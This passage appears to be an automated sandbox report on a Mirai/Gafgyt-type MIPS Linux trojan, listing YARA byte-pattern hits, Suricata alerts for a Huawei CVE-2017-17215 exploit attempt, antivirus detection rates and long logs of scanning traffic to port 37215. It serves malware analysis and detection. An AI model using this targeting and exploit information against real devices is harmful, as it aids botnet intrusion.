0x6e78:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6e8c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6ea0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6eb4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6ec8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x6edc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
Process Memory Space: ewe.mips.elf PID: 5516	Linux_Trojan_Gafgyt_ea92cca8	unknown	unknown	0x7608:$a: 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64
Click to see the 44 entries

Suricata Signatures

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-26T01:43:35.746949+0100	2835222	1	A Network Trojan was detected	192.168.2.13	34452	197.85.7.124	37215	TCP

ETPRO MALWARE ELF/Mirai User-Agent Observed (Outbound)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-26T01:43:32.512782+0100	2841377	1	Attempted Administrator Privilege Gain	192.168.2.13	56448	95.78.170.9	80	TCP
2025-01-26T01:43:33.351014+0100	2841377	1	Attempted Administrator Privilege Gain	192.168.2.13	58746	95.100.81.167	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: ewe.mips.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: ewe.mips.elf	Virustotal: Detection: 66%			Perma Link
Source: ewe.mips.elf	ReversingLabs: Detection: 65%

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2841377 - Severity 1 - ETPRO MALWARE ELF/Mirai User-Agent Observed (Outbound) : 192.168.2.13:56448 -> 95.78.170.9:80
Source: Network traffic	Suricata IDS: 2841377 - Severity 1 - ETPRO MALWARE ELF/Mirai User-Agent Observed (Outbound) : 192.168.2.13:58746 -> 95.100.81.167:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.13:34452 -> 197.85.7.124:37215

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 197.175.127.249 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.190.36.116 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.166.132.44 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.210.98.142 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.35.199.151 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.241.78.99 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.135.182.60 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.110.145.161 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.151.30.28 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.244.160.176 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.2.206.50 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.78.233.228 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.229.5.129 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.209.38.75 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.86.111.94 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.243.232.72 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.237.201.142 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.207.29.141 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.227.72.33 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.1.226.173 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.166.199.114 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.17.249.106 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.213.206.165 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.41.228.194 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.252.164.247 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.0.227.255 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.15.59.76 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.51.53.77 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.65.102.8 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.229.227.217 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.235.72.48 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.187.10.82 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.107.125.124 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.216.53.252 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.71.140.250 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.171.63.203 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.179.96.126 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.133.101.135 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.93.156.79 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.228.189.105 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.193.78.138 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.146.219.217 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.114.93.185 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.245.235.184 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.135.176.18 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.69.9.240 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.209.202.165 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.249.41.84 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.69.26.0 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.209.131.14 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.59.135.242 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.221.47.231 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.171.72.100 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.25.92.216 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.195.172.21 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.76.51.130 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.94.241.190 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.160.10.217 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.98.39.73 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.210.147.116 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.37.233.222 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.250.15.88 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.17.126.10 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.221.77.87 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.158.91.95 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.22.255.19 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.226.136.193 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.222.212.191 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.180.11.22 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.69.65.242 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.189.13.239 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.61.149.58 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.6.191.189 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.136.80.170 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.135.236.77 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.17.208.129 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.145.74.237 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.114.182.240 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.77.19.138 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.72.50.176 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.166.10.132 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.13.192.111 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.132.79.190 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.22.147.76 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.78.171.91 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.25.160.21 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.15.68.120 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.102.21.81 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.63.131.165 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.93.168.175 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.166.153.250 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.119.243.203 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.49.59.211 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.144.13.39 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.227.95.31 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.66.210.125 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.198.248.63 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.160.119.203 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.215.187.35 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.205.49.198 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.11.249.64 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.41.106.31 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.18.210.138 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.5.105.17 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.122.151.193 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.17.125.118 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.140.212.34 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.75.77.153 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.189.18.131 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.225.76.202 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.209.30.89 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.212.52.81 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.8.29.186 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.197.129.140 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.189.185.113 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.220.194.140 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.185.237.142 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.189.115.165 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.199.142.186 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.142.101.206 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.33.41.156 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.230.137.93 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.60.97.243 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.108.55.106 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.157.251.214 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.122.47.54 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.161.234.6 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.98.38.4 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.246.105.113 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.26.63.200 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.123.226.118 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.249.234.117 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.191.89.13 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.202.39.253 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.142.243.223 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.85.7.124 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.76.41.81 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.181.32.160 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.244.197.244 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.241.17.70 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.187.226.234 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.152.206.30 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.75.149.148 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.231.151.54 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.3.150.5 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.162.118.8 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.152.236.96 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.86.162.181 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.12.91.71 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.110.228.188 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.255.48.66 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.184.98.53 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.223.172.238 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.114.112.230 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.21.99.87 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.88.9.123 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.162.34.83 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.159.187.14 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.178.34.229 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.22.82.152 ports 1,2,3,5,7,37215

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 58474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54840 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33928 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37432 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52454 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33350 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42502 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40932 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53332 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51696 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44248 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59840 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53122 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36030 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34690 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38338 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51252 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52646 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32968 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54432 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47932 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36282 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52372 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58424 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56816 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44548 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38614 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46352 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60310 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60210 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34978 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42796 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57392 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44054 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33972 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58004 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35156 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52458 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36064 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38948 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44316 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34804 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36592 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48882 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37392 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51494 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60850 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44020 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36846 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58212 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34880 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38428 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39816 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42132 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47046 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47858 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60086 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47930 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54182 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51370 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45970 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54914 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47732 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58858 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59880 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44486 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43718 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38816 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42128 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45788 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57556 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52238 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45942 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47796 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50372 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45548 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53350 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46548 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60814 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55642 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35202 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33662 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37698 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42426 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58262 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33096 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57234 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37650 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34086 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58318 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37264 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50260 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59246 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53850 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55382 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35020 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58428 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38090 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53128 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39492 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38206 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49546 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45286 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51712 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55914 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60986 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39562 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37862 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54628 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43046 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52450 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45756 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46156 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55688 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37812 -> 37215
